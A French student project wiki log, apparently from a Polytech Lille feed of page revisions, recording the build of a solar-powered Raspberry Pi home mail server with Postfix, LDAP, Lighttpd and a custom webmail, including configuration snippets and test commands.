Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24446</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24446"/>
				<updated>2015-12-15T07:30:01Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
